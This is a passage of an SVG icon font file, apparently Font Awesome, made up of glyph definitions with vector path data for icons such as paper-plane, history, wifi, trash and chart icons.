-96s42.9814 -96 96 -96zM127.559 365.696c-17.3291 -12.8584 -32.3965 -27.9258 -45.2549 -45.2549l63.3994 -63.3994c11.0029 18.585 26.6963 34.2676 45.2549 45.2549zM82.3037 63.5586 +c12.8584 -17.3291 27.9258 -32.3965 45.2549 -45.2549l63.3994 63.3994c-18.585 11.0029 -34.2676 26.6963 -45.2549 45.2549zM384.441 18.3037c17.3291 12.8584 32.3965 27.9258 45.2549 45.2549l-63.3994 63.3994c-11.0029 -18.585 -26.6963 -34.2676 -45.2549 -45.2549z +" /> + <glyph glyph-name="circle-notch" unicode="" +d="M288 408.944c0 15.5996 14.6777 27.167 29.7891 23.292c107.071 -27.457 186.211 -124.604 186.211 -240.236c0 -136.788 -110.745 -247.711 -247.466 -247.999c-137.054 -0.289062 -247.812 109.615 -248.531 246.667c-0.609375 116.126 78.5996 213.85 185.951 241.502 +c15.2119 3.91895 30.0459 -7.52539 30.0459 -23.2344v-16.6475c0 -10.8047 -7.28125 -20.1621 -17.6885 -23.0693c-77.5254 -21.6543 -134.312 -92.749 -134.312 -177.219c0 -101.705 82.3105 -184 184 -184c101.705 0 184 82.3105 184 184 +c0 84.4824 -56.7959 155.566 -134.314 177.219c-10.4043 2.90723 -17.6855 12.2627 -17.6855 23.0664v16.6592z" /> + <glyph glyph-name="paper-plane" unicode="" +d="M476 444.8c17.2998 10 39 -4.59961 35.5996 -24.7998l-72 -432c-2.59961 -15.2998 -18.7998 -24.2002 -33 -18.2002l-124.6 52.2002l-63.5 -77.2998c-14 -17.1006 -42.5 -7.7998 -42.5 15.7998v80.5l240.9 293.5c4.69922 5.7002 -3.10059 13.2002 -8.60059 8.2998 +l-287.3 -253.2l-106.3 44.6006c-18 7.59961 -20.2998 32.7998 -2.2002 43.2002z" /> + <glyph glyph-name="history" unicode="" +d="M504 192.469c0.25293 -136.64 -111.18 -248.372 -247.82 -248.468c-59.0146 -0.0419922 -113.223 20.5303 -155.821 54.9111c-11.0771 8.93945 -11.9053 25.541 -1.83984 35.6064l11.2676 11.2676c8.6084 8.6084 22.3525 9.55078 31.8906 1.9834 +c31.3848 -24.9043 71.1045 -39.7695 114.323 -39.7695c101.705 0 184 82.3105 184 184c0 101.705 -82.3105 184 -184 184c-48.8145 0 -93.1494 -18.9688 -126.068 -49.9316l50.7539 -50.7539c10.0801 -10.0801 2.94141 -27.3145 -11.3125 -27.3145h-145.373 +c-8.83691 0 -16 7.16309 -16 16v145.373c0 14.2539 17.2344 21.3926 27.3145 11.3135l49.3711 -49.3711c44.5234 42.5488 104.866 68.6846 171.314 68.6846c136.81 0 247.747 -110.78 248 -247.531zM323.088 113.685c-8.1377 -10.4629 -23.2158 -12.3467 -33.6787 -4.20996 +l-65.4092 50.874v135.651c0 13.2549 10.7451 24 24 24h16c13.2549 0 24 -10.7451 24 -24v-104.349l40.7012 -31.6572c10.4629 -8.13672 12.3477 -23.2158 4.20996 -33.6787z" /> + <glyph glyph-name="heading" unicode="" +d="M448 352v-320h32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-160c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32v128h-192v-128h32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-160 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h32v320h-32c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h160c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32v-128h192v128h-32c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h160c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32z" /> + <glyph glyph-name="paragraph" unicode="" horiz-adv-x="448" +d="M448 400v-32c0 -8.83105 -7.16895 -16 -16 -16h-48v-368c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v368h-32v-368c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v112h-32c-88.3066 0 -160 71.6934 -160 160 +s71.6934 160 160 160h240c8.83105 0 16 -7.16895 16 -16z" /> + <glyph glyph-name="sliders-h" unicode="" +d="M496 64c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-336v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16h-80c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h80v16c0 8.7998 7.2002 16 16 16h32 +c8.7998 0 16 -7.2002 16 -16v-16h336zM496 224c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-80v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16h-336c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h336v16 +c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-16h80zM496 384c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-208v-16c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v16h-208c-8.7998 0 -16 7.2002 -16 16v32 +c0 8.7998 7.2002 16 16 16h208v16c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-16h208z" /> + <glyph glyph-name="share-alt" unicode="" horiz-adv-x="448" +d="M352 128c53.0186 0 96 -42.9814 96 -96s-42.9814 -96 -96 -96s-96 42.9814 -96 96c0 0.00976562 0.00292969 -0.0429688 0.00292969 -0.0332031c0 7.16699 0.785156 14.1523 2.27344 20.874l-102.486 64.0537c-16.4033 -13.0752 -37.1816 -20.8945 -59.79 -20.8945 +c-53.0186 0 -96 42.9814 -96 96s42.9814 96 96 96c22.6084 0 43.3867 -7.81934 59.79 -20.8945l102.486 64.0537c-1.48633 6.71094 -2.27637 13.6826 -2.27637 20.8408c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96s-42.9814 -96 -96 -96 +c-22.6084 0 -43.3867 7.81934 -59.79 20.8965l-102.486 -64.0547c1.48828 -6.73145 2.27344 -13.6025 2.27344 -20.7793s-0.785156 -14.1719 -2.27344 -20.9033l102.486 -64.0537c16.4033 13.0752 37.1816 20.8945 59.79 20.8945z" /> + <glyph glyph-name="share-alt-square" unicode="" horiz-adv-x="448" +d="M448 368v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48zM304 152c-14.5615 0 -27.8232 -5.56055 -37.7832 -14.6709l-67.958 40.7744 +c1.13379 4.45312 1.73633 9.11719 1.73633 13.9199c0 4.80371 -0.602539 9.4209 -1.73633 13.874l67.958 40.7744c9.95996 -9.11133 23.2217 -14.6719 37.7832 -14.6719c30.9277 0 56 25.0723 56 56s-25.0723 56 -56 56s-56 -25.0723 -56 -56 +c0 -4.79688 0.605469 -9.45312 1.74023 -13.8975l-67.958 -40.7744c-9.95898 9.11133 -23.2207 14.6719 -37.7822 14.6719c-30.9277 0 -56 -25.0723 -56 -56s25.0723 -56 56 -56c14.5615 0 27.8232 5.56055 37.7832 14.6709l67.958 -40.7744 +c-1.13281 -4.44141 -1.73535 -9.09375 -1.73535 -13.8857c0 -0.0117188 -0.00488281 0 -0.00488281 -0.0117188c0 -30.9277 25.0723 -56 56 -56s56 25.0723 56 56c-0.000976562 30.9287 -25.0732 56.001 -56.001 56.001z" /> + <glyph glyph-name="bomb" unicode="" +d="M440.5 359.5l-52 -52l26.5 -26.5c9.40039 -9.40039 9.40039 -24.5996 0 -33.9004l-17.4004 -17.3994c11.8008 -26.1006 18.4004 -55.1006 18.4004 -85.6006c0 -114.899 -93.0996 -208 -208 -208s-208 93 -208 207.9s93.0996 208 208 208 +c30.5 0 59.5 -6.59961 85.5996 -18.4004l17.4004 17.4004c9.40039 9.40039 24.5996 9.40039 33.9004 0l26.5 -26.5l52 52zM500 388c6.59961 0 12 -5.40039 12 -12s-5.40039 -12 -12 -12h-24c-6.59961 0 -12 5.40039 -12 12s5.40039 12 12 12h24zM440 448 +c6.59961 0 12 -5.40039 12 -12v-24c0 -6.59961 -5.40039 -12 -12 -12s-12 5.40039 -12 12v24c0 6.59961 5.40039 12 12 12zM473.9 393c-4.60059 -4.7002 -12.2002 -4.7002 -17 0c-4.7002 4.7002 -4.7002 12.2998 0 17l17 17c4.69922 4.7002 12.2998 4.7002 17 0 +c4.69922 -4.7002 4.69922 -12.2998 0 -17zM406.1 393l-17 17c-4.69922 4.7002 -4.69922 12.2998 0 17c4.7002 4.7002 12.3008 4.7002 17 0l17 -17c4.7002 -4.7002 4.7002 -12.2998 0 -17c-4.69922 -4.7002 -12.2998 -4.7002 -17 0zM473.9 359l17 -17 +c4.69922 -4.7002 4.69922 -12.2998 0 -17c-4.7002 -4.7002 -12.3008 -4.7002 -17 0l-17 17c-4.7002 4.7002 -4.7002 12.2998 0 17c4.69922 4.7002 12.2998 4.7002 17 0zM112 176c0 35.2998 28.7002 64 64 64c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16 +c-52.9004 0 -96 -43.0996 -96 -96c0 -8.7998 7.2002 -16 16 -16s16 7.2002 16 16z" /> + <glyph glyph-name="futbol" unicode="" +d="M504 192c0 -136.967 -111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248zM456 192l-0.00292969 0.282227l-26.0645 -22.7412l-62.6787 58.5l16.4541 84.3555l34.3027 -3.07227 +c-24.8887 34.2158 -60.0039 60.0889 -100.709 73.1406l13.6514 -31.9385l-74.9531 -41.5264l-74.9531 41.5254l13.6514 31.9385c-40.6309 -13.0283 -75.7803 -38.8701 -100.709 -73.1406l34.5645 3.07324l16.1924 -84.3555l-62.6777 -58.5l-26.0645 22.7412 +l-0.00292969 -0.282227c0 -43.0146 13.4971 -83.9521 38.4717 -117.991l7.7041 33.8975l85.1387 -10.4473l36.3008 -77.8262l-29.9023 -17.7861c40.2021 -13.1221 84.29 -13.1475 124.572 0l-29.9023 17.7861l36.3008 77.8262l85.1387 10.4473l7.7041 -33.8975 +c24.9756 34.0391 38.4727 74.9766 38.4727 117.991zM207.898 122.429l-29.8945 91.3125l77.9961 56.5264l77.9961 -56.5264l-29.6221 -91.3125h-96.4756z" /> + <glyph glyph-name="tty" unicode="" +d="M5.37012 344.178c138.532 138.532 362.936 138.326 501.262 0c6.07812 -6.07812 7.07422 -15.4961 2.58301 -22.6807l-43.2139 -69.1377c-3.24023 -5.18457 -8.99902 -8.63672 -15.5576 -8.63672c-2.40137 0 -4.69531 0.490234 -6.79883 1.33105l-86.4219 34.5693 +c-6.75684 2.70312 -11.5352 9.31348 -11.5352 17.0312c0 0.621094 0.0410156 1.20898 0.101562 1.81445l5.95215 59.5312c-62.1455 22.4541 -130.636 21.9863 -191.483 0l5.95312 -59.5322c0.0605469 -0.606445 0.0917969 -1.22168 0.0917969 -1.84375 +c0 -7.7168 -4.76855 -14.2998 -11.5254 -17.002l-86.4238 -34.5684c-2.10254 -0.84082 -4.39648 -1.30371 -6.79785 -1.30371c-6.55859 0 -12.3174 3.4248 -15.5576 8.60938l-43.2109 69.1387c-1.75879 2.81348 -2.77539 6.1377 -2.77539 9.69727 +c0 5.05859 2.04004 9.66406 5.3584 12.9824zM96 140c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM192 140c0 -6.62695 -5.37305 -12 -12 -12h-40 +c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM288 140c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM384 140 +c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM480 140c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40 +c6.62695 0 12 -5.37305 12 -12v-40zM144 44c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM240 44c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40 +c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM336 44c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM432 44c0 -6.62695 -5.37305 -12 -12 -12h-40 +c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM96 -52c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM384 -52 +c0 -6.62695 -5.37305 -12 -12 -12h-232c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h232c6.62695 0 12 -5.37305 12 -12v-40zM480 -52c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40 +c6.62695 0 12 -5.37305 12 -12v-40z" /> + <glyph glyph-name="binoculars" unicode="" +d="M416 400v-48h-96v48c0 8.83984 7.16016 16 16 16h64c8.83984 0 16 -7.16016 16 -16zM63.9102 288.01c0.479492 17.6201 14.2998 31.9902 31.9297 31.9902h96.1602v-160h-32v-160c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v44 +c3.45996 129.78 61.4004 150.16 63.9102 244.01zM448.09 288.01c2.50977 -93.8496 60.4502 -114.229 63.9102 -244.01v-44c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v160h-32v160h96.1602c17.6299 0 31.4502 -14.3701 31.9297 -31.9902zM176 416 +c8.83984 0 16 -7.16016 16 -16v-48h-96v48c0 8.83984 7.16016 16 16 16h64zM224 160v160h64v-160h-64z" /> + <glyph glyph-name="plug" unicode="" horiz-adv-x="384" +d="M320 416v-96h-64v96c0 17.6611 14.3389 32 32 32s32 -14.3389 32 -32zM368 288c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-16v-32c-0.0117188 -77.3096 -55.0684 -141.886 -128 -156.8v-99.2002h-64v99.2002 +c-72.9316 14.9141 -127.988 79.4902 -128 156.8v32h-16c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h352zM128 416v-96h-64v96c0 17.6611 14.3389 32 32 32s32 -14.3389 32 -32z" /> + <glyph glyph-name="newspaper" unicode="" horiz-adv-x="576" +d="M552 384c13.2549 0 24 -10.7451 24 -24v-312c0 -26.5098 -21.4902 -48 -48 -48h-472c-30.9277 0 -56 25.0723 -56 56v272c0 13.2549 10.7451 24 24 24h40v8c0 13.2549 10.7451 24 24 24h464zM56 48c4.41504 0 8 3.58496 8 8v248h-16v-248c0 -4.41504 3.58496 -8 8 -8z +M292 64c6.62695 0 12 5.37305 12 12v8c0 6.62695 -5.37305 12 -12 12h-152c-6.62695 0 -12 -5.37305 -12 -12v-8c0 -6.62695 5.37305 -12 12 -12h152zM500 64c6.62695 0 12 5.37305 12 12v8c0 6.62695 -5.37305 12 -12 12h-152c-6.62695 0 -12 -5.37305 -12 -12v-8 +c0 -6.62695 5.37305 -12 12 -12h152zM292 160c6.62695 0 12 5.37305 12 12v8c0 6.62695 -5.37305 12 -12 12h-152c-6.62695 0 -12 -5.37305 -12 -12v-8c0 -6.62695 5.37305 -12 12 -12h152zM500 160c6.62695 0 12 5.37305 12 12v8c0 6.62695 -5.37305 12 -12 12h-152 +c-6.62695 0 -12 -5.37305 -12 -12v-8c0 -6.62695 5.37305 -12 12 -12h152zM500 256c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12h-360c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h360z" /> + <glyph glyph-name="wifi" unicode="" horiz-adv-x="640" +d="M634.91 293.12c6.66016 -6.16016 6.79004 -16.5898 0.359375 -22.9805l-34.2393 -33.9697c-6.14062 -6.08984 -16.0205 -6.22949 -22.4004 -0.379883c-145.95 133.71 -371.33 133.68 -517.25 0c-6.37988 -5.84961 -16.2598 -5.71973 -22.3994 0.379883l-34.2402 33.9697 +c-6.44043 6.39062 -6.31055 16.8203 0.349609 22.9805c177.101 163.81 452.65 163.87 629.82 0zM320 96c35.3496 0 64 -28.6504 64 -64s-28.6504 -64 -64 -64s-64 28.6504 -64 64s28.6504 64 64 64zM522.67 179.59c6.88965 -6.08984 7.12012 -16.6895 0.560547 -23.1494 +l-34.4404 -33.9902c-6 -5.93066 -15.6602 -6.32031 -22.0498 -0.799805c-83.75 72.4092 -209.54 72.5693 -293.49 0c-6.38965 -5.52051 -16.0498 -5.12012 -22.0498 0.799805l-34.4404 33.9902c-6.5498 6.45996 -6.33008 17.0498 0.570312 23.1494 +c115.13 101.82 290.08 101.93 405.34 0z" /> + <glyph glyph-name="calculator" unicode="" horiz-adv-x="448" +d="M400 448c25.5996 0 48 -22.4004 48 -48v-416c0 -25.5996 -22.4004 -48 -48 -48h-352c-25.5996 0 -48 22.4004 -48 48v416c0 25.5996 22.4004 48 48 48h352zM128 12.7998v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004 +c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM128 140.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004 +c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM256 12.7998v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004 +c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM256 140.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004 +c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM384 12.7998v166.4c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004 +c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-166.4c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM384 268.8v102.4c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-294.4 +c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-102.4c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h294.4c6.39941 0 12.7998 6.40039 12.7998 12.7998z" /> + <glyph glyph-name="bell-slash" unicode="" horiz-adv-x="640" +d="M633.82 -10.0996c6.97949 -5.43066 8.22949 -15.4805 2.80957 -22.4502l-19.6396 -25.2705c-5.43066 -6.97949 -15.4805 -8.23926 -22.46 -2.80957l-588.351 454.729c-6.97949 5.43066 -8.22949 15.4805 -2.80957 22.4502l19.6396 25.2705 +c5.41992 6.97949 15.4805 8.22949 22.46 2.80957l144.96 -112.04c22.9307 31.5 57.2607 54.1904 97.5898 62.5703v20.8398c0 17.6699 14.3203 32 31.9805 32s31.9805 -14.3301 31.9805 -32v-20.8301c73.46 -15.2598 127.939 -77.46 127.939 -155.16 +c0 -102.3 36.1504 -133.529 55.4697 -154.29c6 -6.43945 8.66016 -14.1602 8.61035 -21.71c0 -1.39941 -0.610352 -2.67969 -0.799805 -4.05957zM157.23 196.46l212.789 -164.46h-241.92c-19.1191 0 -31.9893 15.5996 -32.0996 32 +c-0.0498047 7.5498 2.61035 15.2598 8.61035 21.71c16.21 17.4199 44.0098 42.79 52.6201 110.75zM320 -64c-35.3203 0 -63.9697 28.6504 -63.9697 64h127.939c0 -35.3496 -28.6494 -64 -63.9697 -64z" /> + <glyph glyph-name="trash" unicode="" horiz-adv-x="448" +d="M432 416c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h120l9.40039 18.7002c3.85547 7.88574 11.9434 13.2998 21.3066 13.2998h0.0927734h114.3 +c0.00585938 0 -0.00195312 0.0234375 0.00390625 0.0234375c9.41113 0 17.5645 -5.42871 21.4961 -13.3232l9.40039 -18.7002h120zM53.2002 -19l-21.2002 339h384l-21.2002 -339c-1.57031 -25.0762 -22.4316 -44.9971 -47.8994 -45h-245.801 +c-25.4678 0.00292969 -46.3291 19.9238 -47.8994 45z" /> + <glyph glyph-name="copyright" unicode="" +d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM373.134 93.2471c1.78516 2.09473 2.86035 4.82812 2.86035 7.79395c0 2.64355 -0.856445 5.08789 -2.30762 7.07227l-24.5469 33.5713 +c-4.44824 6.08691 -13.376 6.61816 -18.5078 1.05371c-0.263672 -0.287109 -26.8467 -28.625 -65.5439 -28.625c-48.7627 0 -74.2773 40.0898 -74.2773 79.6914c0 42.5068 27.8008 76.082 73.916 76.082c35.3516 0 61.6475 -23.666 61.8809 -23.8799 +c5.45996 -5.05566 14.1846 -3.97168 18.2334 2.29492l22.3799 34.6553c1.20996 1.87305 1.91895 4.12109 1.91895 6.51465c0 3.125 -1.19727 5.97168 -3.15625 8.1084c-1.45703 1.58887 -36.4658 38.9043 -103.423 38.9043c-81.7578 0 -143.762 -62.0986 -143.762 -143.401 +c0 -82.3066 59.792 -145.567 144.484 -145.567c70.0752 0 108.259 43.8643 109.851 45.7314z" /> + <glyph glyph-name="at" unicode="" +d="M256 440c138.023 0 248 -87.6533 248 -224c0 -75.7979 -41.3906 -147.41 -150.299 -147.41c-30.0977 0 -61.1885 -0.000976562 -70.71 34.1035c-17.6221 -22.6963 -48.0068 -38.333 -74.9912 -38.333c-59.2148 0 -96 40.5664 -96 105.87 +c0 89.2256 63.251 151.46 137.831 151.46c19.5225 0 45.2744 -3.87402 59.9707 -21.7754l0.00976562 0.0917969c0.765625 6.7373 6.49219 11.9932 13.4326 11.9932h44.9805c15.083 0 26.4287 -13.75 23.5625 -28.5586l-23.4336 -121.11 +c-3.43359 -17.167 -3.87207 -29.5703 13.4766 -30.0244c37.0771 3.95117 58.1699 44.9072 58.1699 83.6934c0 102.381 -83.8613 160 -184 160c-101.458 0 -184 -82.542 -184 -184s82.542 -184 184 -184c35.3145 0 69.9199 10.2432 99.4102 29.1572 +c10.1934 6.53809 23.7021 4.24219 31.373 -5.12891l10.1768 -12.4336c9.07324 -11.084 6.45312 -27.5566 -5.55176 -35.3721c-40.0664 -26.083 -87.2539 -40.2227 -135.408 -40.2227c-137.081 0 -248 110.941 -248 248c0 137.081 110.941 248 248 248zM234.32 135.57 +c24.2861 0 58.1611 27.6689 58.1611 72.7295c0 25.5293 -13.3096 40.7705 -35.6016 40.7705c-27.8506 0 -58.6299 -27.7363 -58.6299 -72.7295c0 -25.1475 13.8213 -40.7705 36.0703 -40.7705z" /> + <glyph glyph-name="eye-dropper" unicode="" +d="M50.75 114.75l126.63 126.61l128 -128l-126.64 -126.62c-12 -12 -28.2803 -18.7402 -45.25 -18.7402h-45.4902l-56 -32l-32 32l32 56v45.4902c0 16.9795 6.75 33.2598 18.75 45.2598zM483.88 419.88c37.5 -37.4902 37.5 -98.2695 -0.00976562 -135.75l-77.0898 -77.0898 +l13.0996 -13.0996c9.37012 -9.37012 9.37012 -24.5703 0 -33.9404l-40.9697 -40.96c-9.29004 -9.30957 -24.5 -9.44043 -33.9404 0l-161.939 161.94c-9.37012 9.36914 -9.37012 24.5693 0 33.9395l40.9697 40.9697c9.29004 9.31055 24.5 9.44043 33.9404 0l13.0996 -13.0996 +l77.0898 77.0898c37.4697 37.5 98.2803 37.5 135.75 0z" /> + <glyph glyph-name="paint-brush" unicode="" +d="M167.02 138.66l88.0107 -73.3398c0.319336 -3.05078 0.969727 -6.02051 0.969727 -9.12988c0 -76.4209 -52.1396 -120.19 -128 -120.19c-90.0703 0 -128 72.3799 -128.01 154.73c9.79004 -6.68066 44.1396 -34.3506 55.25 -34.3506 +c6.58984 0 12.2402 3.77051 14.5898 9.98047c20.6602 54.4395 57.0703 69.7197 97.1895 72.2998zM457.89 448c28.1104 0 54.1104 -20.6396 54.1104 -49.5498c0 -16.1406 -6.51953 -31.6406 -13.9004 -45.9902c-113.05 -210.99 -149.05 -256.46 -211.159 -256.46 +c-7.75 0 -15.1807 1.23047 -22.3906 3.03027l-63.8193 53.1797c-5.48047 11.9404 -8.73047 25 -8.73047 38.7002c0 53.75 21.2695 58.04 225.68 240.64c10.8398 9.74023 25.0508 16.4502 40.21 16.4502z" /> + <glyph glyph-name="birthday-cake" unicode="" horiz-adv-x="448" +d="M448 64c-28.0195 0 -31.2598 32 -74.5 32c-43.4297 0 -46.8252 -32 -74.75 -32c-27.6953 0 -31.4541 32 -74.75 32c-42.8418 0 -47.2178 -32 -74.5 -32c-28.1484 0 -31.2021 32 -74.75 32c-43.5469 0 -46.6533 -32 -74.75 -32v80c0 26.5 21.5 48 48 48h16v144h64v-144h64 +v144h64v-144h64v144h64v-144h16c26.5 0 48 -21.5 48 -48v-80zM448 -64h-448v96c43.3564 0 46.7666 32 74.75 32c27.9512 0 31.2529 -32 74.75 -32c42.8428 0 47.2168 32 74.5 32c28.1484 0 31.2012 -32 74.75 -32c43.3574 0 46.7666 32 74.75 32 +c27.4883 0 31.252 -32 74.5 -32v-96zM96 352c-17.75 0 -32 14.25 -32 32c0 31 32 23 32 64c12 0 32 -29.5 32 -56s-14.25 -40 -32 -40zM224 352c-17.75 0 -32 14.25 -32 32c0 31 32 23 32 64c12 0 32 -29.5 32 -56s-14.25 -40 -32 -40zM352 352c-17.75 0 -32 14.25 -32 32 +c0 31 32 23 32 64c12 0 32 -29.5 32 -56s-14.25 -40 -32 -40z" /> + <glyph glyph-name="chart-area" unicode="" +d="M500 64c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-488c-6.59961 0 -12 5.40039 -12 12v360c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-308h436zM372.7 288.5c6 4 14.2002 1.7998 17.3994 -4.7002l89.9004 -187.8h-384v104 +l86.7998 144.7c4.40039 7.2998 14.7998 7.7998 19.9004 1l85.2998 -113.7z" /> + <glyph glyph-name="chart-pie" unicode="" horiz-adv-x="544" +d="M527.79 160c9.5498 0 17.4004 -8.38965 16.0596 -17.8496c-7.80957 -55.25 -34.4297 -104.4 -73.1299 -140.86c-6.20996 -5.84961 -16.1494 -5.36035 -22.1895 0.679688l-158.03 158.03h237.29zM511.96 224.8c0.629883 -9.12012 -7.0498 -16.7998 -16.1904 -16.7998 +h-223.77v223.76c0 9.14062 7.67969 16.8301 16.7998 16.2002c119.46 -8.24023 214.92 -103.7 223.16 -223.16zM224 160l155.86 -155.87c6.84961 -6.84961 6.33008 -18.4795 -1.57031 -24.0801c-38.29 -27.1602 -84.8604 -43.3994 -135.26 -44.0303 +c-128.2 -1.60938 -238.53 103.471 -242.891 231.61c-4.23926 124.771 86.8506 228.88 206.021 245.72c9.4502 1.34082 17.8398 -6.50977 17.8398 -16.0596v-237.29z" /> + <glyph glyph-name="chart-line" unicode="" +d="M496 64c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-464c-17.6699 0 -32 14.3301 -32 32v336c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-304h432zM464 352c8.83984 0 16 -7.16016 15.9902 -16v-118.05 +c0 -21.3799 -25.8506 -32.0898 -40.9707 -16.9697l-32.3994 32.3994l-96 -96c-12.4902 -12.5 -32.75 -12.5 -45.25 0l-73.3701 73.3701l-46.0596 -46.0703c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-22.6191 22.6201c-6.25 6.25 -6.25 16.3799 0 22.6299l68.6895 68.6904 +c12.4902 12.5 32.75 12.5 45.25 0l73.3701 -73.3701l73.3701 73.3799l-32.4004 32.4004c-15.1201 15.1201 -4.41016 40.9697 16.9707 40.9697h118.06z" /> + <glyph glyph-name="toggle-off" unicode="" horiz-adv-x="576" +d="M384 384c106.039 0 192 -85.9609 192 -192s-85.9609 -192 -192 -192h-192c-106.039 0 -192 85.9609 -192 192s85.9609 192 192 192h192zM64 192c0 -70.751 57.2588 -128 128 -128c70.751 0 128 57.2588 128 128c0 70.751 -57.2588 128 -128 128 +c-70.751 0 -128 -57.2588 -128 -128zM384 64c70.751 0 128 